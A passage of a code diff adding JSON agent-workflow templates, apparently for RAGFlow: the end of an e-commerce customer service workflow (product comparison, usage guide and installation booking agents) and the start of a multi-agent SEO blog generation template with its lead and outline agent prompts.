+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Specification Comparison Agent Prompt\n## Role\nYou are a product specification comparison assistant.\n## Goal\nHelp the user compare two or more products based on their features and specifications. Provide clear, accurate, and concise comparisons to assist the user in making an informed decision.\n---\n## Instructions\n- Start by confirming the product models or options the user wants to compare.\n- If the user has not specified the models, politely ask for them.\n- Present the comparison in a structured way (e.g., bullet points or a table format if supported).\n- Highlight key differences such as size, capacity, performance, energy efficiency, and price if available.\n- Maintain a neutral and professional tone without suggesting unnecessary upselling.\n---",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Feature Comparison Agent"
+ },
+ "dragging": false,
+ "id": "Agent:PlentyCandiesRefuse",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 857.7148601953267,
+ "y": 66.63237329303199
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [
+ "a5aaec4a819b11f095f1047c16ec874f"
+ ],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "{sys.query}",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ },
+ "label": "Retrieval",
+ "name": "Usage Guide Knowledge Base"
+ },
+ "dragging": false,
+ "id": "Retrieval:EagerTipsFeel",
+ "measured": {
+ "height": 96,
+ "width": 200
+ },
+ "position": {
+ "x": 567.0647658166523,
+ "y": 213.38735509338153
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "retrievalNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cite": true,
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-v3@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User\u2018s query is {sys.query}\n\nSchema is {Retrieval:EagerTipsFeel@formalized_content}\n\n",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Usage Guide Agent Prompt\n## Role\nYou are a product usage guide assistant.\n## Goal\nProvide clear, step-by-step instructions to help the user set up, operate, and maintain their product. Answer questions about functions, settings, and troubleshooting.\n---\n## Instructions\n- If the user asks about setup, provide easy-to-follow installation or configuration steps.\n- If the user asks about a feature, explain its purpose and how to activate it.\n- For troubleshooting, suggest common solutions first, then guide through advanced checks if needed.\n- Keep the response simple, clear, and actionable for a non-technical user.\n---",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Usage Guide Agent"
+ },
+ "dragging": false,
+ "id": "Agent:ShinyCooksCall",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 861.0463780800472,
+ "y": 218.84239036799477
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cite": true,
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-v3@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 6,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query is {sys.query}\n\n\n",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\nYou are an Installation Booking Assistant.\n## Goal\nCollect the following three pieces of information from the user \n1. Contact Number \n2. Preferred Installation Time \n3. Installation Address \nOnce all three are collected, confirm the information and inform the user that a technician will contact them later by phone.\n## Instructions\n1. **Check if all three details** (Contact Number, Preferred Installation Time, Installation Address) have been provided.\n2. **If some details are missing**, acknowledge the ones provided and only ask for the missing information.\n3. Do **not repeat** the full request once some details are already known.\n4. Once all three details are collected, summarize and confirm them with the user.",
+ "temperature": 0.1,
+ "temperatureEnabled": false,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": " Installation Booking Agent"
+ },
+ "dragging": false,
+ "id": "Agent:DeepCoatsDress",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 645.7337493836382,
+ "y": 409.2170327976632
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:PlentyCandiesRefuse@content}{Agent:ShinyCooksCall@content}{Agent:DeepCoatsDress@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Message"
+ },
+ "dragging": false,
+ "id": "Message:KhakiSymbolsMarry",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1241.2275787739002,
+ "y": 238.1004882989556
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This workflow automatically replies to user inquiries about multi-product feature comparisons, single product features based on the knowledge base,and automatically records users' appointment installation information."
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 177,
+ "id": "Note:TamePlacesStay",
+ "measured": {
+ "height": 177,
+ "width": 352
+ },
+ "position": {
+ "x": -74.64018485740644,
+ "y": -278.09128552569814
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 352
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The **Categorize** node can direct users to different handling workflows.\n"
+ },
+ "label": "Note",
+ "name": "Note\uff1aEvent Classification"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:FuzzyOttersTake",
+ "measured": {
+ "height": 136,
+ "width": 255
+ },
+ "position": {
+ "x": 265.4869944440654,
+ "y": 356.5967388588942
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Use this node to set up the product information knowledge base."
+ },
+ "label": "Note",
+ "name": "Note\uff1aFeature Comparison Knowledge Base"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 128,
+ "id": "Note:FloppyKingsRead",
+ "measured": {
+ "height": 128,
+ "width": 486
+ },
+ "position": {
+ "x": 559.4676154300545,
+ "y": -272.09359584713263
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 486
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Use this node to set up the user guide knowledge base."
+ },
+ "label": "Note",
+ "name": "Note\uff1aUsage Guide Knowledge Base"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 131,
+ "id": "Note:PlainTrainsTickle",
+ "measured": {
+ "height": 131,
+ "width": 492
+ },
+ "position": {
+ "x": 562.2432036803011,
+ "y": -115.13957305647553
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 492
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This Agent looks up and summarizes the differences between different product models."
+ },
+ "label": "Note",
+ "name": "Note\uff1aFeature Comparison Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 130,
+ "id": "Note:NinetyClubsAct",
+ "measured": {
+ "height": 130,
+ "width": 314
+ },
+ "position": {
+ "x": 1242.1094687263958,
+ "y": -101.26619228497279
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 314
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This Agent queries the user guide knowledge base to get usage help."
+ },
+ "label": "Note",
+ "name": "Note\uff1aUsage Guide Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 138,
+ "id": "Note:CleverViewsLearn",
+ "measured": {
+ "height": 138,
+ "width": 309
+ },
+ "position": {
+ "x": 1242.0223497932525,
+ "y": 71.55537317461697
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 309
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This Agent collects the user\u2019s installation details through a multi-turn conversation."
+ },
+ "label": "Note",
+ "name": "Note\uff1a Installation Booking Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 150,
+ "id": "Note:SoftFoxesTan",
+ "measured": {
+ "height": 150,
+ "width": 338
+ },
+ "position": {
+ "x": 976.444626825383,
+ "y": 504.7856230269402
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 338
+ },
+ {
+ "data": {
+ "form": {
+ "text": "https://huggingface.co/datasets/InfiniFlow/Ecommerce-Customer-Service-Workflow"
+ },
+ "label": "Note",
+ "name": "Dataset"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 157,
+ "id": "Note:CyanLandsStudy",
+ "measured": {
+ "height": 157,
+ "width": 356
+ },
+ "position": {
+ "x": -74.238694872689,
+ "y": -77.31812780982554
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 356
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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"
+}
diff --git a/agent/templates/generate_SEO_blog.json b/agent/templates/generate_SEO_blog.json
new file mode 100644
index 0000000..2107e50
--- /dev/null
+++ b/agent/templates/generate_SEO_blog.json
@@ -0,0 +1,906 @@
+{
+ "id": 8,
+ "title": {
+ "en": "Generate SEO Blog",
+ "zh": "生成SEO博客"},
+ "description": {
+ "en": "This is a multi-agent version of the SEO blog generation workflow. It simulates a small team of AI “writers”, where each agent plays a specialized role — just like a real editorial team.",
+ "zh": "多智能体架构可根据简单的用户输入自动生成完整的SEO博客文章。模拟小型“作家”团队,其中每个智能体扮演一个专业角色——就像真正的编辑团队。"},
+ "canvas_type": "Agent",
+ "dsl": {
+ "components": {
+ "Agent:LuckyApplesGrab": {
+ "downstream": [
+ "Message:ModernSwansThrow"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Lead Agent**, responsible for initiating the multi-agent SEO blog generation process. You will receive the user\u2019s topic and blog goal, interpret the intent, and coordinate the downstream writing agents.\n\n# Goals\n\n1. Parse the user's initial input.\n\n2. Generate a high-level blog intent summary and writing plan.\n\n3. Provide clear instructions to the following Sub_Agents:\n\n - `Outline Agent` \u2192 Create the blog outline.\n\n - `Body Agent` \u2192 Write all sections based on outline.\n\n - `Editor Agent` \u2192 Polish and finalize the blog post.\n\n4. Merge outputs into a complete, readable blog draft in Markdown format.\n\n# Input\n\nYou will receive:\n\n- Blog topic\n\n- Target audience\n\n- Blog goal (e.g., SEO, education, product marketing)\n\n# Output Format\n\n```markdown\n\n## Parsed Writing Plan\n\n- **Topic**: [Extracted from user input]\n\n- **Audience**: [Summarized from user input]\n\n- **Intent**: [Inferred goal and style]\n\n- **Blog Type**: [e.g., Tutorial / Informative Guide / Marketing Content]\n\n- **Long-tail Keywords**: \n\n - keyword 1\n\n - keyword 2\n\n - keyword 3\n\n - ...\n\n## Instructions for Outline Agent\n\nPlease generate a structured outline including H2 and H3 headings. Assign 1\u20132 relevant keywords to each section. Keep it aligned with the user\u2019s intent and audience level.\n\n## Instructions for Body Agent\n\nWrite the full content based on the outline. Each section should be concise (500\u2013600 words), informative, and optimized for SEO. Use `Tavily Search` only when additional examples or context are needed.\n\n## Instructions for Editor Agent\n\nReview and refine the combined content. Improve transitions, ensure keyword integration, and add a meta title + meta description. Maintain Markdown formatting.\n\n\n## Guides\n\n- Do not generate blog content directly.\n\n- Focus on correct intent recognition and instruction generation.\n\n- Keep communication to downstream agents simple, scoped, and accurate.\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Agent",
+ "id": "Agent:SlickSpidersTurn",
+ "name": "Outline Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "Generates a clear and SEO-friendly blog outline using H2/H3 headings based on the topic, audience, and intent provided by the lead agent. Each section includes suggested keywords for optimized downstream writing.\n",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role\n\nYou are the **Outline Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your sole responsibility is to create a clear, well-structured, and SEO-optimized blog outline.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ },
+ {
+ "component_name": "Agent",
+ "id": "Agent:IcyPawsRescue",
+ "name": "Body Agent",
+ "params": {
+ "delay_after_error": 1,
